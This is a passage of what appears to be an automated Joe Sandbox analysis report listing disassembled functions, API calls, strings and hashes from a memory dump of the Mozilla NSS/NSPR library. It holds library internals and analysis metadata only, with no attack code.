Part of subcall function 6BAA4020: isspace.API-MS-WIN-CRT-STRING-L1-1-0(FFFFEF69,00000000,?,?,757C4C80,?,6BAA50B7,?), ref: 6BAA4041

free.MOZGLUE(00000000), ref: 6BA869F6
NSSUTIL_ArgFetchValue.NSS3(-0000000A,?), ref: 6BA86A04
free.MOZGLUE(00000000), ref: 6BA86A1B
NSSUTIL_ArgFetchValue.NSS3(-0000000B,?), ref: 6BA86A29
free.MOZGLUE(00000000), ref: 6BA86A3F
NSSUTIL_ArgFetchValue.NSS3(-0000000A,?), ref: 6BA86A4D
NSSUTIL_ArgStrip.NSS3(?), ref: 6BA86A5B

Strings

flags, xrefs: 6BA86937, 6BA86942, 6BA86956, 6BA8696D
certPrefix=, xrefs: 6BA869B8
keyPrefix=, xrefs: 6BA869CC
nokeydb, xrefs: 6BA86968
readOnly, xrefs: 6BA8693D
configdir=, xrefs: 6BA869A4
nocertdb, xrefs: 6BA86951

Memory Dump Source

Source File: 00000000.00000002.1826427612.000000006B9C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6B9C0000, based on PE: true

Associated: 00000000.00000002.1826403663.000000006B9C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826849359.000000006BB5F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826942144.000000006BB9E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826978132.000000006BB9F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827018980.000000006BBA0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827055477.000000006BBA5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6b9c0000_file.jbxd

Similarity

API ID: L_strncasecmpValuefree$FetchFlag$Stripisspace$ParamParameterSkipstrlen
String ID: certPrefix=$configdir=$flags$keyPrefix=$nocertdb$nokeydb$readOnly
API String ID: 2065226673-2785624044
Opcode ID: c8ec631f473236193e0e0a78852af509f669f31487a6f634a1698557bd4049d1
Instruction ID: 2808e596766622a9beb11d04ae3e9554cd629ea440c414df713c8a76c60c9a7e
Opcode Fuzzy Hash: c8ec631f473236193e0e0a78852af509f669f31487a6f634a1698557bd4049d1
Instruction Fuzzy Hash: 16415FB5E102056BEF10DA79AD82B6AB7A8AF05248F084430E945E7742FB39DA5487B1

Function 6BA708F0 Relevance: 33.5, APIs: 13, Strings: 6, Instructions: 230COMMON

Download Yara Rule

APIs

htonl.WSOCK32(-00000001,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000001), ref: 6BA7094D
htonl.WSOCK32(-00000001,-00000001,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6BA70953
htonl.WSOCK32(-00000001,-00000001,-00000001), ref: 6BA7096E
htonl.WSOCK32(-00000001,-00000001,-00000001,-00000001), ref: 6BA70974
htonl.WSOCK32(-00000001,-00000001,-00000001,-00000001,-00000001), ref: 6BA7098F
htonl.WSOCK32(-00000001,-00000001,-00000001,-00000001,-00000001,-00000001), ref: 6BA70995

Part of subcall function 6BA71800: SECITEM_AllocItem_Util.NSS3(00000000,00000000,?), ref: 6BA71860
Part of subcall function 6BA71800: memcpy.VCRUNTIME140(?,?,?,?,?,?,?,?,?,?,?,00000000,?,-00000001,?,6BA709BF), ref: 6BA71897
Part of subcall function 6BA71800: memcpy.VCRUNTIME140(?,-00000001,-00000001,?,?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6BA718AA
Part of subcall function 6BA71800: memcpy.VCRUNTIME140(?,?,?), ref: 6BA718C4

PK11_FreeSymKey.NSS3(00000000,?,?,?,?,?,?,?,-00000001,-00000001,-00000001,-00000001), ref: 6BA70B4F
SECITEM_ZfreeItem_Util.NSS3(?,00000000,?,?,?,?,?,?,?,?,-00000001,-00000001,-00000001,-00000001), ref: 6BA70B5E
SECITEM_ZfreeItem_Util.NSS3(?,00000001,?,?,?,?,?,?,?,?,?,?,-00000001,-00000001,-00000001,-00000001), ref: 6BA70B6B
SECITEM_ZfreeItem_Util.NSS3(?,00000001,?,?,?,?,?,?,?,?,?,?,?,?,-00000001,-00000001), ref: 6BA70B78

Strings

exp, xrefs: 6BA70B36
info_hash, xrefs: 6BA709E0
base_nonce, xrefs: 6BA70B06
secret, xrefs: 6BA70A88
psk_id_hash, xrefs: 6BA709B5
key, xrefs: 6BA70ACB

Memory Dump Source

Source File: 00000000.00000002.1826427612.000000006B9C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6B9C0000, based on PE: true

Associated: 00000000.00000002.1826403663.000000006B9C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826849359.000000006BB5F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826942144.000000006BB9E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826978132.000000006BB9F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827018980.000000006BBA0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827055477.000000006BBA5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6b9c0000_file.jbxd

Similarity

API ID: htonl$Item_Util$Zfreememcpy$AllocFreeK11_
String ID: base_nonce$exp$info_hash$key$psk_id_hash$secret
API String ID: 1637529542-763765719
Opcode ID: 44b67331f7adead8aa6582288cdef49e7239ebbd3cfea916dd74144ff30a8f87
Instruction ID: 6785f872fc5ce7c1cfa6f1dff3ff29b70ae7ea246ad2ae9cf607f10bdf222f44
Opcode Fuzzy Hash: 44b67331f7adead8aa6582288cdef49e7239ebbd3cfea916dd74144ff30a8f87
Instruction Fuzzy Hash: 3A819C7A608305AFC710DF64C880D5AF7E9FF8C708F048929F95897251E735EA55CB92

Function 6BA5AB90 Relevance: 33.4, APIs: 22, Instructions: 388COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6BA5ABCB
EnterCriticalSection.KERNEL32 ref: 6BA5ABE4
TlsGetValue.KERNEL32 ref: 6BA5AC0B
PR_Unlock.NSS3 ref: 6BA5AC7B
TlsGetValue.KERNEL32 ref: 6BA5AC9C
EnterCriticalSection.KERNEL32 ref: 6BA5ACB5
PR_WaitCondVar.NSS3 ref: 6BA5ACD5
TlsGetValue.KERNEL32 ref: 6BA5ACF4

Memory Dump Source

Source File: 00000000.00000002.1826427612.000000006B9C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6B9C0000, based on PE: true

Associated: 00000000.00000002.1826403663.000000006B9C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826849359.000000006BB5F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826942144.000000006BB9E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826978132.000000006BB9F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827018980.000000006BBA0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827055477.000000006BBA5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6b9c0000_file.jbxd

Similarity

API ID: Value$CriticalEnterSection$CondUnlockWait
String ID:
API String ID: 839227765-0
Opcode ID: 23ea2e1b75af0afdd195435259b08e1f423c904a28438847d091d2e033180dd4
Instruction ID: bb8548f4176f9899a59c969b99408b0dccca153c9200b97767ed324d955b769f
Opcode Fuzzy Hash: 23ea2e1b75af0afdd195435259b08e1f423c904a28438847d091d2e033180dd4
Instruction Fuzzy Hash: 18F18EB1A04715DFDF10AF38C685769BBF1BF06304F0485A9D89987211EB39E9E4CBA1

Function 6BA83B30 Relevance: 33.4, APIs: 22, Instructions: 368COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6BA83B90
EnterCriticalSection.KERNEL32(0000001D), ref: 6BA83BA4
TlsGetValue.KERNEL32 ref: 6BA83DC5
EnterCriticalSection.KERNEL32(0000001D), ref: 6BA83DD9

Part of subcall function 6BA307A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6B9C204A), ref: 6BA307AD
Part of subcall function 6BA307A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6B9C204A), ref: 6BA307CD
Part of subcall function 6BA307A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6B9C204A), ref: 6BA307D6
Part of subcall function 6BA307A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6B9C204A), ref: 6BA307E4
Part of subcall function 6BA307A0: TlsSetValue.KERNEL32(00000000,?,6B9C204A), ref: 6BA30864
Part of subcall function 6BA307A0: calloc.MOZGLUE(00000001,0000002C), ref: 6BA30880
Part of subcall function 6BA307A0: TlsSetValue.KERNEL32(00000000,?,?,6B9C204A), ref: 6BA308CB
Part of subcall function 6BA307A0: TlsGetValue.KERNEL32(?,?,6B9C204A), ref: 6BA308D7
Part of subcall function 6BA307A0: TlsGetValue.KERNEL32(?,?,6B9C204A), ref: 6BA308FB

PR_Unlock.NSS3(00000001), ref: 6BA83E13
PR_SetError.NSS3(00000000,00000000), ref: 6BA83E2B
PR_Unlock.NSS3(?), ref: 6BA83E99
TlsGetValue.KERNEL32 ref: 6BA83EBC
EnterCriticalSection.KERNEL32(0000001C), ref: 6BA83ED4
PR_Unlock.NSS3(?), ref: 6BA83EFF
PR_SetError.NSS3(00000000,00000000), ref: 6BA83BEB

Part of subcall function 6BAEC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6BAEC2BF

PR_Unlock.NSS3(?), ref: 6BA83D7B
PR_Unlock.NSS3(00000001), ref: 6BA83BCF

Part of subcall function 6BAEDD70: TlsGetValue.KERNEL32 ref: 6BAEDD8C
Part of subcall function 6BAEDD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6BAEDDB4

TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?), ref: 6BA83C23
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?), ref: 6BA83C37
PR_Unlock.NSS3(?), ref: 6BA83C78
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6BA83C96
EnterCriticalSection.KERNEL32(?), ref: 6BA83CAA
PR_Unlock.NSS3(?), ref: 6BA83D13
TlsGetValue.KERNEL32 ref: 6BA83D37
EnterCriticalSection.KERNEL32(0000001C), ref: 6BA83D4F
PR_SetError.NSS3(FFFFE028,00000000,?,?,?,?,?,?,?,?,?,?,?), ref: 6BA83F1C

Memory Dump Source

Source File: 00000000.00000002.1826427612.000000006B9C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6B9C0000, based on PE: true

Associated: 00000000.00000002.1826403663.000000006B9C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826849359.000000006BB5F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826942144.000000006BB9E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826978132.000000006BB9F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827018980.000000006BBA0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827055477.000000006BBA5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6b9c0000_file.jbxd

Similarity

API ID: Value$CriticalSectionUnlock$Enter$Error$calloc$Leave
String ID:
API String ID: 186629115-0
Opcode ID: 1c400dcfb340b62ccb64d4aaaa5a9e2472aca99bad45e0d23992011b0b02878c
Instruction ID: 60bc249945aa7d594b26192facc00603ed80bb7d80a8cd73cae7405cee4d90a7
Opcode Fuzzy Hash: 1c400dcfb340b62ccb64d4aaaa5a9e2472aca99bad45e0d23992011b0b02878c
Instruction Fuzzy Hash: B3E19CB1C00218AFDF119F68D845BADBBB4FF09318F0841A5E845AB611E73AE9D5CBD1

Function 6BAAC980 Relevance: 33.3, APIs: 22, Instructions: 298memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000400,6BAAAEB0,?,00000004,00000001,?,00000000,?,?), ref: 6BAAC98E

Part of subcall function 6BAA0FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6BA487ED,00000800,6BA3EF74,00000000), ref: 6BAA1000
Part of subcall function 6BAA0FF0: PR_NewLock.NSS3(?,00000800,6BA3EF74,00000000), ref: 6BAA1016
Part of subcall function 6BAA0FF0: PL_InitArenaPool.NSS3(00000000,security,6BA487ED,00000008,?,00000800,6BA3EF74,00000000), ref: 6BAA102B

PORT_ArenaAlloc_Util.NSS3(00000000,00000028,?,6BAAAEB0,?,00000004,00000001,?,00000000,?,?), ref: 6BAAC9A1

Part of subcall function 6BAA10C0: TlsGetValue.KERNEL32(?,6BA48802,00000000,00000008,?,6BA3EF74,00000000), ref: 6BAA10F3
Part of subcall function 6BAA10C0: EnterCriticalSection.KERNEL32(?,?,6BA48802,00000000,00000008,?,6BA3EF74,00000000), ref: 6BAA110C
Part of subcall function 6BAA10C0: PL_ArenaAllocate.NSS3(?,?,?,6BA48802,00000000,00000008,?,6BA3EF74,00000000), ref: 6BAA1141
Part of subcall function 6BAA10C0: PR_Unlock.NSS3(?,?,?,6BA48802,00000000,00000008,?,6BA3EF74,00000000), ref: 6BAA1182
Part of subcall function 6BAA10C0: TlsGetValue.KERNEL32(?,6BA48802,00000000,00000008,?,6BA3EF74,00000000), ref: 6BAA119C

SECOID_FindOIDByTag_Util.NSS3(0000001A,?,?,?,6BAAAEB0,?,00000004,00000001,?,00000000,?,?), ref: 6BAAC9D3

Part of subcall function 6BAA0840: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6BAA08B4

SECITEM_CopyItem_Util.NSS3(00000000,-00000018,00000000,?,?,?,?,6BAAAEB0,?,00000004,00000001,?,00000000,?,?), ref: 6BAAC9E6

Part of subcall function 6BA9FB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6BA98D2D,?,00000000,?), ref: 6BA9FB85
Part of subcall function 6BA9FB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6BA9FBB1

PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,6BAAAEB0,?,00000004,00000001,?,00000000,?,?), ref: 6BAAC9F5
PORT_ArenaAlloc_Util.NSS3(00000000,00000050,?,?,?,?,?,?,?,6BAAAEB0,?,00000004,00000001,?,00000000,?), ref: 6BAACA0A
SEC_ASN1EncodeInteger_Util.NSS3(00000000,00000000,00000001,?,?,?,?,?,?,?,?,?,6BAAAEB0,?,00000004,00000001), ref: 6BAACA33
SECOID_FindOIDByTag_Util.NSS3(00000019,?,?,?,?,?,?,?,?,?,?,?,?,6BAAAEB0,?,00000004), ref: 6BAACA4D
SECITEM_CopyItem_Util.NSS3(00000001,?,00000000), ref: 6BAACA60
SEC_PKCS7DestroyContentInfo.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,?,?,6BAAAEB0,?,00000004), ref: 6BAACA6D
PR_Now.NSS3 ref: 6BAACAD6
PORT_ArenaMark_Util.NSS3(00000000), ref: 6BAACB23
PORT_ArenaAlloc_Util.NSS3(00000000,0000005C), ref: 6BAACB32
SEC_ASN1EncodeInteger_Util.NSS3(00000000,00000000,00000001), ref: 6BAACB64
SECOID_SetAlgorithmID_Util.NSS3(00000000,?,00000001,00000000), ref: 6BAACBBB
PORT_ArenaAlloc_Util.NSS3(?,00000008), ref: 6BAACBD0
PORT_ArenaAlloc_Util.NSS3(00000000,00000018), ref: 6BAACBF6
PORT_ArenaAlloc_Util.NSS3(00000000,00000008), ref: 6BAACC18
SECOID_SetAlgorithmID_Util.NSS3(00000000,00000000,00000001,00000000), ref: 6BAACC39
PORT_ArenaAlloc_Util.NSS3(00000000,0000000C), ref: 6BAACC5B

Part of subcall function 6BAA10C0: PL_ArenaAllocate.NSS3(?,6BA48802,00000000,00000008,?,6BA3EF74,00000000), ref: 6BAA116E

PORT_ArenaAlloc_Util.NSS3(00000000,00000008), ref: 6BAACC69
SECITEM_CopyItem_Util.NSS3(00000000,?,00000000), ref: 6BAACC89

Memory Dump Source

Source File: 00000000.00000002.1826427612.000000006B9C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6B9C0000, based on PE: true

Associated: 00000000.00000002.1826403663.000000006B9C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826849359.000000006BB5F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826942144.000000006BB9E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826978132.000000006BB9F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827018980.000000006BBA0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827055477.000000006BBA5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6b9c0000_file.jbxd

Similarity

API ID: Util$Arena$Alloc_$CopyItem_$AlgorithmAllocateArena_EncodeFindInteger_Tag_Value$ContentCriticalDestroyEnterErrorFreeInfoInitLockMark_PoolSectionUnlockcallocmemcpy
String ID:
API String ID: 1766420342-0
Opcode ID: 61910ab406a1e4b40ef18409ebe424a8def529df6e47962afce687d9afec33d3
Instruction ID: 5a30118dd25dcb7685b5fbe2b7bdadbd83bb0c68f44e38699d2307c854ed4de8
Opcode Fuzzy Hash: 61910ab406a1e4b40ef18409ebe424a8def529df6e47962afce687d9afec33d3
Instruction Fuzzy Hash: C9B14CB5D00306ABFF01CF65DD81BAABBB4AF19308F044165E914A7252FB79D9D0CBA1

Function 6BA69FA0 Relevance: 31.7, APIs: 17, Strings: 1, Instructions: 184COMMON

Download Yara Rule

APIs

CERT_NewCertList.NSS3 ref: 6BA69FBE

Part of subcall function 6BA42F00: PORT_NewArena_Util.NSS3(00000800), ref: 6BA42F0A
Part of subcall function 6BA42F00: PORT_ArenaAlloc_Util.NSS3(00000000,0000000C), ref: 6BA42F1D

PL_InitArenaPool.NSS3(?,security,00000800,00000008), ref: 6BA6A015

Part of subcall function 6BA81940: TlsGetValue.KERNEL32(00000000,00000000,?,00000001,?,6BA8563C,?,?,00000000,00000001,00000002,?,?,?,?,?), ref: 6BA8195C
Part of subcall function 6BA81940: EnterCriticalSection.KERNEL32(?,?,6BA8563C,?,?,00000000,00000001,00000002,?,?,?,?,?,6BA5EAC5,00000001), ref: 6BA81970
Part of subcall function 6BA81940: PR_Unlock.NSS3(?,?,00000000,00000001,00000002,?,?,?,?,?,6BA5EAC5,00000001,?,6BA5CE9B,00000001,6BA5EAC5), ref: 6BA819A0

PL_FreeArenaPool.NSS3(?), ref: 6BA6A067
PR_CallOnce.NSS3(6BBA2AA4,6BAA12D0), ref: 6BA6A055

Part of subcall function 6B9C4C70: TlsGetValue.KERNEL32(?,?,?,6B9C3921,6BBA14E4,6BB0CC70), ref: 6B9C4C97
Part of subcall function 6B9C4C70: EnterCriticalSection.KERNEL32(?,?,?,?,6B9C3921,6BBA14E4,6BB0CC70), ref: 6B9C4CB0
Part of subcall function 6B9C4C70: PR_Unlock.NSS3(?,?,?,?,?,6B9C3921,6BBA14E4,6BB0CC70), ref: 6B9C4CC9

PR_SetError.NSS3(FFFFE005,00000000), ref: 6BA6A07E
PR_CallOnce.NSS3(6BBA2AA4,6BAA12D0), ref: 6BA6A0B1
PL_FreeArenaPool.NSS3(?), ref: 6BA6A0C7
PL_FinishArenaPool.NSS3(?), ref: 6BA6A0CF
PR_CallOnce.NSS3(6BBA2AA4,6BAA12D0), ref: 6BA6A12E
PL_FreeArenaPool.NSS3(?), ref: 6BA6A140
PL_FinishArenaPool.NSS3(?), ref: 6BA6A148
PR_SetError.NSS3(FFFFE005,00000000), ref: 6BA6A158
PL_FinishArenaPool.NSS3(?), ref: 6BA6A175
CERT_AddCertToListTail.NSS3(00000000,00000000), ref: 6BA6A1A5
CERT_DestroyCertificate.NSS3(00000000), ref: 6BA6A1B2
free.MOZGLUE(00000000), ref: 6BA6A1C6
CERT_DestroyCertList.NSS3(00000000), ref: 6BA6A1D6

Part of subcall function 6BA855E0: PL_InitArenaPool.NSS3(?,security,00000800,00000008,?,6BA5EAC5,00000001,?,6BA5CE9B,00000001,6BA5EAC5,00000003,-00000004,00000000,?,6BA5EAC5), ref: 6BA85627
Part of subcall function 6BA855E0: PR_CallOnce.NSS3(6BBA2AA4,6BAA12D0,?,?,?,?,?,?,?,?,?,?,6BA5EAC5,00000001,?,6BA5CE9B), ref: 6BA8564F
Part of subcall function 6BA855E0: PL_FreeArenaPool.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,6BA5EAC5,00000001), ref: 6BA85661
Part of subcall function 6BA855E0: PR_SetError.NSS3(FFFFE01A,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,6BA5EAC5), ref: 6BA856AF

Strings

security, xrefs: 6BA6A00F

Memory Dump Source

Source File: 00000000.00000002.1826427612.000000006B9C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6B9C0000, based on PE: true

Associated: 00000000.00000002.1826403663.000000006B9C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826849359.000000006BB5F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826942144.000000006BB9E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826978132.000000006BB9F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827018980.000000006BBA0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827055477.000000006BBA5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6b9c0000_file.jbxd

Similarity

API ID: Arena$Pool$CallFreeOnce$CertErrorFinishList$CriticalDestroyEnterInitSectionUnlockUtilValue$Alloc_Arena_CertificateTailfree
String ID: security
API String ID: 3250630715-3315324353
Opcode ID: f7e40e8de5f8683ff6a1135c30d384b1b46d2572a5fe4e0dfbbb5e36222551b1
Instruction ID: a967ab5ff430e5616aa2d4512e3123bd910a24d9cee480db715ba74dc125145d
Opcode Fuzzy Hash: f7e40e8de5f8683ff6a1135c30d384b1b46d2572a5fe4e0dfbbb5e36222551b1
Instruction Fuzzy Hash: 9C5104F5D00219ABEF009F78DE42B6E737AAF46748F044025E9196B241F73DD985CBA2

Function 6BB579A0 Relevance: 29.9, APIs: 15, Strings: 2, Instructions: 112threadCOMMON

Download Yara Rule

APIs

PR_GetCurrentThread.NSS3(00000000,?,?,6BB5798A), ref: 6BB579A5

Part of subcall function 6BB09BF0: TlsGetValue.KERNEL32(?,?,?,6BB50A75), ref: 6BB09C07

PR_LogPrint.NSS3(PR_Cleanup: shutting down NSPR), ref: 6BB579D4
PR_Lock.NSS3 ref: 6BB579EC
PR_WaitCondVar.NSS3(000000FF,6BB5798A), ref: 6BB57A09
PR_Unlock.NSS3 ref: 6BB57A37
PR_DestroyLock.NSS3(?,6BB5798A), ref: 6BB57A4A
PR_DestroyLock.NSS3(?,?,6BB5798A), ref: 6BB57A60
PR_DestroyLock.NSS3(?,?,?,6BB5798A), ref: 6BB57A74
PR_DestroyCondVar.NSS3(?,?,?,?,6BB5798A), ref: 6BB57A88
PR_DestroyLock.NSS3(?,?,?,?,?,?,6BB5798A), ref: 6BB57AA5
PR_LogPrint.NSS3(PR_Cleanup: clean up before destroying thread,?,?,?,?,?,?,6BB5798A), ref: 6BB57AD5
PR_DestroyLock.NSS3(?,?,?,?,?,?,?,?,6BB5798A), ref: 6BB57B04
PR_DestroyLock.NSS3(?,?,?,?,?,?,?,?,?,?,6BB5798A), ref: 6BB57B25
PT_FPrintStats.NSS3(?,?,?,?,?,?,?,?,?,6BB5798A), ref: 6BB57B3C
PR_DestroyLock.NSS3(?,?,?,?,?,?,?,?,?,?,6BB5798A), ref: 6BB57B4B

Strings

PR_Cleanup: shutting down NSPR, xrefs: 6BB579CF
PR_Cleanup: clean up before destroying thread, xrefs: 6BB57AD0

Memory Dump Source

Source File: 00000000.00000002.1826427612.000000006B9C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6B9C0000, based on PE: true

Associated: 00000000.00000002.1826403663.000000006B9C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826849359.000000006BB5F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826942144.000000006BB9E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826978132.000000006BB9F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827018980.000000006BBA0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827055477.000000006BBA5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6b9c0000_file.jbxd

Similarity

API ID: DestroyLock$Print$Cond$CurrentStatsThreadUnlockValueWait
String ID: PR_Cleanup: clean up before destroying thread$PR_Cleanup: shutting down NSPR
API String ID: 1189278590-4285429502
Opcode ID: 7d41308b0af6eba6530c51f7dcf9af85206e0249a12f6cf11cbf9be5adf95c62
Instruction ID: 9d794ff56ef0e507d72e0c287c6037b9e40f6e554984745f1a6e33de974e8e34
Opcode Fuzzy Hash: 7d41308b0af6eba6530c51f7dcf9af85206e0249a12f6cf11cbf9be5adf95c62
Instruction Fuzzy Hash: BB417CF6D011909FEF119F36AC07B2E3A91EB5320CF088024D80593252EB6AE568CA53

Function 6BA538C0 Relevance: 28.2, APIs: 15, Strings: 1, Instructions: 168COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE028,00000000,?), ref: 6BA538F2
SECKEY_ECParamsToBasePointOrderLen.NSS3(-00000010,?,?,?,?,?), ref: 6BA53902
SECITEM_CopyItem_Util.NSS3(00000000,00000014,6BA55E83), ref: 6BA53AB0
SECITEM_CopyItem_Util.NSS3(00000000,00000038,6BA55E87), ref: 6BA53AEA
SECITEM_CopyItem_Util.NSS3(00000000,00000014,6BA55E63), ref: 6BA53B03
SECITEM_CopyItem_Util.NSS3(00000000,00000020,6BA55E6F), ref: 6BA53B1C
PR_SetError.NSS3(FFFFE028,00000000), ref: 6BA53B40
PL_InitArenaPool.NSS3(?,security,00000800,00000008), ref: 6BA53B70
SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?), ref: 6BA53B88
PR_CallOnce.NSS3(6BBA2AA4,6BAA12D0), ref: 6BA53B9D
PL_FreeArenaPool.NSS3(?), ref: 6BA53BB2
PL_FinishArenaPool.NSS3(?), ref: 6BA53BBD
SECITEM_CopyItem_Util.NSS3(00000000,00000010,?), ref: 6BA53BD4
SECITEM_CopyItem_Util.NSS3(00000000,-00000020,6BA55E4F), ref: 6BA53BF2
PK11_DestroyObject.NSS3(?,?), ref: 6BA53C1B
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6BA53C40

Strings

security, xrefs: 6BA53B6A

Memory Dump Source

Source File: 00000000.00000002.1826427612.000000006B9C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6B9C0000, based on PE: true

Associated: 00000000.00000002.1826403663.000000006B9C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826849359.000000006BB5F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826942144.000000006BB9E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826978132.000000006BB9F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827018980.000000006BBA0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827055477.000000006BBA5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6b9c0000_file.jbxd

Similarity

API ID: Util$Item_$Copy$ArenaPool$ErrorFree$Arena_BaseCallDecodeDestroyFinishInitK11_ObjectOnceOrderParamsPointQuick
String ID: security
API String ID: 3293387093-3315324353
Opcode ID: 45c96c5bd15e7a60815af1b2994918db20a5afb349e0691e95c5e4d035b1eba1
Instruction ID: 54829c06eecf2ef57348c8a919ec3521797230c4fed297dacd4ab0d80fe16bde
Opcode Fuzzy Hash: 45c96c5bd15e7a60815af1b2994918db20a5afb349e0691e95c5e4d035b1eba1
Instruction Fuzzy Hash: 3051B7B6D00205AFEF209E65ED52F6A33E8EF54608F040469E886D7251F73AE6A4C761

Function 6BA319A0 Relevance: 28.1, APIs: 14, Strings: 2, Instructions: 141networkCOMMON

Download Yara Rule

APIs

PR_GetEnvSecure.NSS3(NSPR_FD_CACHE_SIZE_LOW), ref: 6BA319BB

Part of subcall function 6BA31240: TlsGetValue.KERNEL32(00000040,?,6BA3116C,NSPR_LOG_MODULES), ref: 6BA31267
Part of subcall function 6BA31240: EnterCriticalSection.KERNEL32(?,?,?,6BA3116C,NSPR_LOG_MODULES), ref: 6BA3127C
Part of subcall function 6BA31240: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(?,?,?,?,6BA3116C,NSPR_LOG_MODULES), ref: 6BA31291
Part of subcall function 6BA31240: PR_Unlock.NSS3(?,?,?,?,6BA3116C,NSPR_LOG_MODULES), ref: 6BA312A0

